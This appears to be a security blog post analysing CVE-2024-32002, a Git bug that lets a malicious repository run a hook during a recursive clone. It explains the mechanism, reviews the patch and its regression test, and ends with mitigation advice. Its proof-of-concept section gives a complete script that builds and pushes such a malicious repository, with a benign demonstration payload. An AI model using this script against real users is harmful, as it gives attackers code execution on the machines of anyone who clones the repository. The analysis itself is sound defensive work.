Skip to main content
  1. Sharing/
  2. CVE Analysis/

CVE-2024-32002 (Git)

·2054 words·10 mins
Lio
Cve Sharing
Author
Lio
Trying to exploit this shell program called life that I never get control of.
Table of Contents
CVE Analysis - This article is part of a series.
Part 3: This Article

Analysis CVE-2024-32002 (Git)
#

Introduction
#

CVE-2024-32002: Git Remote Code Execution
#

A recently disclosed critical Git vulnerability could enable remote command injection.

Malicious repositories with submodules can exploit a flaw in Git, tricking it into writing files outside of the submodule’s worktree and into the .git/ directory. This could result in the creation of a hook that executes during the clone process, without giving the user a chance to review the code being run.

The vulnerability only applies to Git versions prior to 2.45.1, 2.44.1, 2.43.4, 2.42.2, 2.41.1, 2.40.2 and 2.39.4, configured with symbolic link support and under case-insensitive operating systems.

Severity:

image

Fundamentals
#

Git Introduction
#

Git is a distributed version control system designed to track changes in source code during software development. It allows multiple developers to collaborate on a project by managing changes to files and directories in a structured and efficient way.

Git is fast. With Git, nearly all operations are performed locally, giving it a huge speed advantage on centralized systems that constantly have to communicate with a server somewhere.

Git was built to work on the Linux kernel, meaning that it has had to effectively handle large repositories from day one. Git is written in C, reducing the overhead of runtimes associated with higher-level languages. Speed and performance has been a primary design goal of Git from the start.

image

With Git, you can:

  • Record changes to files (commits).
  • Roll back to previous versions if needed.
  • Work on different features or fixes simultaneously using branches.
  • Merge changes from different branches or collaborators.
  • Keep a history of who made what changes and when.

Git is widely used in software development, and platforms like GitHub, GitLab, and Bitbucket are built on it to host repositories and facilitate collaboration.

image

Symbolic Link (Symlink) #

From linux symlink manual:

Symbolic links are files that act as pointers to other files. … A symbolic link is a special type of file whose contents are a string that is the pathname of another file, the file to which the link refers.

In short, a symbolic link (symlink) refers to a normal file but also contains additional metadata. These metadata will then make this file acts as a shortcut to another file. The purpose of symlink is to create multiples instances of a file without having to duplicate its content.

image

A symlink can also acts as shortcut to another directory, which will links all the files and directories under the original directory to the symlink.

Symlink in Git #

In Git, symlinks are treated as data files (with a special mode) that store the path to the original file/directory.

image

When you clone a repository or checkout the branch containing a symlink, that reference gets converted to a symlink on the local filesystem.

Git Submodules
#

Submodules allow you to keep a Git repository as a subdirectory of another Git repository. This lets you clone another repository into your project and keep your commits separate.

A submodule is a repository embedded inside another repository. This can help you to use another repo within your project. Sometimes it’s a public library from a third party developed or that’s just your library but you develop it separately.

image

Example .gitmodules (configuration file that stores the mapping between the project’s URL and the local subdirectory you’ve pulled it into)

[submodule "Example"]
	path = ExampleSubmodule
	url = https://github.com/example/ExampleSubmodule

Hooks in Git
#

When first create or clone a repository (via git init or git clone), git will initialize a .git directory at the root of the working tree.

The directory tree of .git at first will be as follow:

.git
├── config
├── HEAD
├── hooks
│   └── prepare-commit-msg.msample
├── objects
│   ├── info
│   └── pack
└── refs
    ├── heads
    └── tags

There’re alot of directories created, most of them contain information about the repository, configurations, references,…

For now we only need to focus on the hooks directory. In the Git documentation about repository layout:

Hooks are customization scripts used by various Git commands. A handful of sample hooks are installed when git init is run, but all of them are disabled by default. To enable, the .sample suffix has to be removed from the filename by renaming. Read githooks[5] for more details about each hook. This directory is ignored if $GIT_COMMON_DIR is set and “$GIT_COMMON_DIR/hooks” will be used instead.

In short, Git hooks are small executables piece of code that are placed in the .git/hooks or .git/modules/module_type/module_name/hooks directory of a repository.

When a file in this directory has no .sample suffix, the instructions in the file will get executed before or after a certain git action depending on the file name (pre-commit, post-commit, post-checkout,…).

Vulnerability
#

Patch analysis
#

Amalmurali’s blog already deeply analyze the source code so from here I just read the source and the commit to analyze and explain by myself.

image

From the commit:

When creating a submodule path, we must be careful not to follow symbolic links. Otherwise we may follow a symbolic link pointing to a gitdir (which are valid symbolic links!) e.g. while cloning.

On case-insensitive filesystems, however, we blindly replace a directory that has been created as part of the clone operation with a symlink when the path to the latter differs only in case from the former’s path.

Let’s simply avoid this situation by expecting not ever having to overwrite any existing file/directory/symlink upon cloning. That way, we won’t even replace a directory that we just created.

This addresses CVE-2024-32002.

So there are 2 files change to patch this CVE. One of them is submodule--helper.c which represent how git clone submodule works. It has new function dir_contains_only_dotgit.

static int dir_contains_only_dotgit(const char *path)
{
	DIR *dir = opendir(path);
	struct dirent *e;
	int ret = 1;

	if (!dir)
		return 0;

	e = readdir_skip_dot_and_dotdot(dir);
	if (!e)
		ret = 0;
	else if (strcmp(DEFAULT_GIT_DIR_ENVIRONMENT, e->d_name) ||
		 (e = readdir_skip_dot_and_dotdot(dir))) {
		error("unexpected item '%s' in '%s'", e->d_name, path);
		ret = 0;
	}

	closedir(dir);
	return ret;
}

This function allows directory that has . or .. and after that is a null terminator (that means the string is exactly . or ..). And also allows directory contains only a .git directory and then return 0 or 1 (which means true or false).

#define DEFAULT_GIT_DIR_ENVIRONMENT ".git"

dir.c

struct dirent *readdir_skip_dot_and_dotdot(DIR *dirp)
{
	struct dirent *e;

	while ((e = readdir(dirp)) != NULL) {
		if (!is_dot_or_dotdot(e->d_name))
			break;
	}
	return e;
}

dir.h

static inline int is_dot_or_dotdot(const char *name)
{
	return (name[0] == '.' &&
	(name[1] == '\0' ||
	(name[1] == '.' && name[2] == '\0')));
}

The clone_submodule function add the check that the submodule directory is existed and is empty or not. If not, it will clean up data and terminates the program and send an error message.

if (clone_data->require_init && !stat(clone_data_path, &st) && !dir_contains_only_dotgit(clone_data_path))
{    
    char *dot_git = xstrfmt("%s/.git", clone_data_path);
    unlink(dot_git);
    free(dot_git);
    die(_("directory not empty: '%s'"), clone_data_path);
}

Another file has changed is t7406-submodule-update.sh, after review this change, I assume this is a test case for Git’s submodule functionality, specifically ensuring that submodule paths do not follow symlinks. This can be used to reproduce the CVE.

test_expect_success CASE_INSENSITIVE_FS,SYMLINKS \
	'submodule paths must not follow symlinks' '

	# This is only needed because we want to run this in a self-contained
	# test without having to spin up an HTTP server; However, it would not
	# be needed in a real-world scenario where the submodule is simply
	# hosted on a public site.
	test_config_global protocol.file.allow always &&

	# Make sure that Git tries to use symlinks on Windows
	test_config_global core.symlinks true &&

	tell_tale_path="$PWD/tell.tale" &&
	git init hook &&
	(
		cd hook &&
		mkdir -p y/hooks &&
		write_script y/hooks/post-checkout <<-EOF &&
		echo HOOK-RUN >&2
		echo hook-run >"$tell_tale_path"
		EOF
		git add y/hooks/post-checkout &&
		test_tick &&
		git commit -m post-checkout
	) &&

	hook_repo_path="$(pwd)/hook" &&
	git init captain &&
	(
		cd captain &&
		git submodule add --name x/y "$hook_repo_path" A/modules/x &&
		test_tick &&
		git commit -m add-submodule &&

		printf .git >dotgit.txt &&
		git hash-object -w --stdin <dotgit.txt >dot-git.hash &&
		printf "120000 %s 0\ta\n" "$(cat dot-git.hash)" >index.info &&
		git update-index --index-info <index.info &&
		test_tick &&
		git commit -m add-symlink
	) &&

	test_path_is_missing "$tell_tale_path" &&
	git clone --recursive captain hooked 2>err &&
	test_grep ! HOOK-RUN err &&
	test_path_is_missing "$tell_tale_path"
'

test_done

Identifying the root cause
#

From the attacker perspective this is very interesting.

If we can somehow inject a hook script into .git/modules/module_type/module_name/hooks via a submodule, and when the main repository get cloned with the --recursive option, the submodule containing the hook script will get triggered.

But Git doesn’t allow a submodule to be placed inside .git. This is where symlink will come in handy.

While Git support case sensitive file name, most OS file system don’t. We can add a symlink a that points to the .git directory and create a dummy directory of A/modules/x to place the hook repository as a submodule in our main repository. Then make a hook reposity consist of a directory y/hooks with a post-checkout hook script inside.

image

When the victim clone this main repository, a symlink a (points to .git) will get created. Git will then proceed to clone the hook repository as a submodule, the path which this submodule will be place in is A/modules/x. But since the file system is case insensitive, the path will be resolved into .git/modules/x (thanks to the symlink) and the post-checkout hook is now in .git/modules/x/y/hooks.

image

Suddenly everything go wrong by this chain of reaction. What a recipe for disaster!

Proof of Concept
#

I had modified the script from the testcase created by git and from some references for automately running PoC and victim can be exploited by just git clone our repository with option --recursive (checkout if submodules have any nested submodule)

# Set Git configuration options
git config --global protocol.file.allow always
git config --global core.symlinks true
git config --global init.defaultBranch main 

First needs to configure Git to always allow the file protocol, enables symlinks, and sets the default branch name to main (this option is to avoid warning message)

# Define the repositories path
hook_repo="<YOUR_HOOK_REPOSITORY_LINK>"
main_repo="<YOUR_MAIN_REPOSITORY_LINK>"

And then specifies the URLs for the hook and the main repositories.

# Initialize the hook repository
git clone "$hook_repo" hook
cd hook
mkdir -p fast/hooks

Clones the hook repository and creates a directory.

# Write the malicious code to a hook
cat > fast/hooks/post-checkout <<EOF
#!/bin/bash
echo "You have been hacked" > /tmp/hacked
powershell.exe -Command "Add-Type -AssemblyName PresentationFramework; [System.Windows.MessageBox]::Show('You have been hacked', 'Warning', 'OK', 'Warning')"
EOF

Creates a post-checkout hook script that writes a malicious code into file. In here, I write a simple message box that display message You have been hacked using powershell command.

# Make the hook executable
chmod +x fast/hooks/post-checkout

git add fast/hooks/post-checkout
git commit -m "Add post-checkout hook"
git push origin main

The command chmod +x fast/hooks/post-checkout is used to make the post-checkout file executable. This ensures that the Git hook will run properly after the checkout action in Git. When files are cloned via Git, the file metadata, such as executable permissions, might not always be preserved across systems (especially in cases like Linux and macOS).

And then add it to the repository, commit the change, and pushe it to the remote repository.

# Add hook submodule to the main repository
git clone "$main_repo" main
cd main
git submodule add --name query/fast "$hook_repo" Utils/modules/query
git commit -m "Add query submodule"

This will clone the main repository, add the hook repository as a submodule and commit the change.

# Create a symlink
printf ".git" > dotgit.txt
git hash-object -w --stdin < dotgit.txt > dot-git.hash
printf "120000 %s 0\tutils\n" "$(cat dot-git.hash)" > index.info
git update-index --index-info < index.info
git commit -m "Add utils"
rm -rf dotgit.txt dot-git.hash index.info
git push origin main
cd ..

Finally I create a symlink to the .git directory, add it to the Git index, commit the change, and push it to the remote repository.

And then user clone with this payload will be injected.

git clone --recursive "<YOUR_MAIN_REPOSITORY_LINK>"

PoC Video
#

Mitigation & Remediation
#

To address the vulnerability, it is crucial to update Git to one of the patched versions listed below:

  • 2.45.1
  • 2.44.1
  • 2.43.4
  • 2.42.2
  • 2.41.1
  • 2.40.2
  • 2.39.4

As an additional mitigation, you can disable symbolic links in Git by running the following command:

git config --global core.symlinks false

References
#

CVE Analysis - This article is part of a series.
Part 3: This Article